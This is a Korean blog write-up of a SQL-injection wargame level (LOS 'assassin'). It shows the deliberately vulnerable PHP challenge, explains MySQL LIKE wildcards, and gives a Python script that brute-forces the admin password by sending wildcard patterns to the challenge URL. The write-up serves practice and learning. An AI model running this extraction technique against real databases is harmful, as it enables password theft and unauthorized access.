[LOS] 15번 assassin 풀이
2019. 8. 7. 02:00ㆍ문제풀이/los.rubiya.kr
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>
이번 문제의 금지문자열은 ' 하나다.
'를 쓰지 못하게 하고, where 문에 like가 있는걸 보아 mysql에서 사용하는 like의 사용법에 대해 묻고있는것 같다.
앞서 brute-force attack 시에 id like 'admin'과 같은 문장을 사용했다.
이와 같이 id like '[문자열]' 의 의미는 id = [문자열] 과 같다.
이 외에도 like를 이용해 다양한 문자열을 나타낼 수 있는데,
id like '%[문자열]'의 의미는 [아무말][문자열]이고,
id like '%[문자열]%'의 의미는 [아무말][문자열][아무말],
id like '[문자열]%'의 의미는 [문자열][아무말]이다.
예시를 들어보면 이해가 조금 더 쉬울 것이다.
id like '%a'
>> 'bca', '12a'
id like '%a%'
>> 'bca', '12a', '12a12', 'bcabc', 'abc', 'a12'
id like 'a%'
>> 'abc', 'a12'
이걸 이용하여 아스키코드 상의 모든 문자를 대입하여 문제를 해결하였으며,
이 때 %25(%)와 %5f(_)는 제외하였다.
%25는 똑같은 %라 그렇고, _는 다른 의미가 있다.
_는 자릿수를 고려할 때 사용한다.
예시는 아래와 같다.
id like '_a%'
>> 'badfdf', 'ba'
id like '__a_'
>> 'bbac', 'abac'
모든 문자를 한글자씩 [문자열]% 형식으로 대입했을 때는 모두 guest로 나온다.
guest랑 admin의 pw가 겹치는 부분이 있다는 거니까 겹치지 않는 부분이 나올 때 까지 계속 문자열을 덧붙여주면 된다.
코드는 아래에 있다.
++
참고로 like 반대로 not like가 있다!
id not like '%a%'를 입력하면 a가 들어가지 않는 id들을 출력한다.
...더보기
import urllib.request
url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
headers = {}
headers['cookie']=" "
headers['User-Agent']="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"
#length
def find():
ans=""
breaker=0
while(1):
for i in range(33, 127):
if((hex(i)=='0x25') or (hex(i)=='0x5f')):
continue
key = "%"+format(i,'x')
url1 = "?pw="+ans+key+"%25"
req = urllib.request.Request(url+url1, headers=headers)
data = urllib.request.urlopen(req).read().decode('utf-8')
if(data.find("Hello admin")!=-1):
print("key: "+ans+key)
breaker=1
break
elif(data.find("Hello guest")!=-1):
print(f'%{format(i, "x")}')
ans = ans + key
if(breaker==1): break
if __name__ == '__main__':
find()
'문제풀이 > los.rubiya.kr' 카테고리의 다른 글
[LOS] 17번 zombie_assassin 풀이 (0) | 2019.08.08 |
---|---|
[LOS] 16번 succubus 풀이 (0) | 2019.08.07 |
[LOS] 14번 giant 풀이 (0) | 2019.08.07 |
[LOS] 13번 bugbear 풀이 (0) | 2019.08.07 |
[LOS] 12번 darkknight 풀이 (0) | 2019.08.06 |